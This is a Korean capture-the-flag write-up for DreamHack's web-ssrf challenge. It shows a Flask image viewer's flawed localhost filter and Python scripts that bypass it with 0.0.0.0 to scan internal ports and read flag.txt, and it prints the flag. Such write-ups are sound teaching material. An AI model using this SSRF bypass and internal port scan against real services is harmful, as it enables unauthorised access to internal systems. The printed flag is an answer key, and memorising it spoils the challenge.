[🥈 Silver 2] SSRF로 내부 포트 스캔 — netloc 문자열 필터를 0.0.0.0으로 우회 — DreamHack web-ssrf 풀이

# Flask — 외부에 노출되는 8000 포트
app.run(host="0.0.0.0", port=8000, threaded=True)
 
# 내부 전용 — 127.0.0.1 의 무작위 포트(1500~1800)에서 cwd 를 서빙
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
threading._start_new_thread(run_local_server, ())

ADD ./deploy /app
WORKDIR /app
...
CMD ["app.py"]

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

# peek_internal.py — 0.0.0.0 우회로 내부 서버의 디렉터리 목록을 받아본다
import base64, re, requests
BASE = "http://host3.dreamhack.games:12182"
r = requests.post(f"{BASE}/img_viewer",
                  data={"url": "http://0.0.0.0:1571/"}, timeout=10)
m = re.search(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)", r.text)
body = base64.b64decode(m.group(1)).decode("utf-8", "replace")
for name in re.findall(r'<li><a href="[^"]+">([^<]+)</a>', body):
    print(name)

#!/usr/bin/env python3
# web-ssrf solve — SSRF로 내부 SimpleHTTPRequestHandler(127.0.0.1:1500~1800)의 flag.txt 회수
# 필터 우회: netloc에 "127.0.0.1"/"localhost" 문자열이 없으면 통과 → 0.0.0.0 사용
import base64, re, sys
import requests
 
BASE = "http://host3.dreamhack.games:12182"
SESS = requests.Session()
IMG_RE = re.compile(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)")
 
def fetch(url):
    """img_viewer에 url을 넣고, 렌더된 img base64를 디코드한 raw bytes를 반환."""
    r = SESS.post(f"{BASE}/img_viewer", data={"url": url}, timeout=10)
    m = IMG_RE.search(r.text)
    return base64.b64decode(m.group(1)) if m else None
 
# error.png 기준값 확보 (차단/실패 시 돌려주는 이미지)
ERROR_PNG = fetch("http://127.0.0.1:1/")
print(f"[*] error.png baseline: {len(ERROR_PNG)} bytes, head={ERROR_PNG[:8].hex()}")
 
# 0.0.0.0 우회로 내부 포트 스캔
for port in range(1500, 1801):
    body = fetch(f"http://0.0.0.0:{port}/flag.txt")
    if body is None or body == ERROR_PNG:
        continue                              # 닫힌 포트/차단 → 동일 error.png
    text = body.decode("utf-8", "replace").strip()
    print(f"[+] OPEN port {port} → {len(body)} bytes")
    print(f"    content: {text[:200]!r}")
    if "DH{" in text:
        flag = re.search(r"DH\{[^}]*\}", text).group(0)
        print(f"\n[FLAG] {flag}")
        sys.exit(0)
 
print("[-] flag not found in 1500-1800 range")

[*] error.png baseline: 47806 bytes, head=89504e470d0a1a0a
[+] OPEN port 1571 → 36 bytes
    content: 'DH{43dd2189056475a7f3bd11456a17ad71}'
 
[FLAG] DH{43dd2189056475a7f3bd11456a17ad71}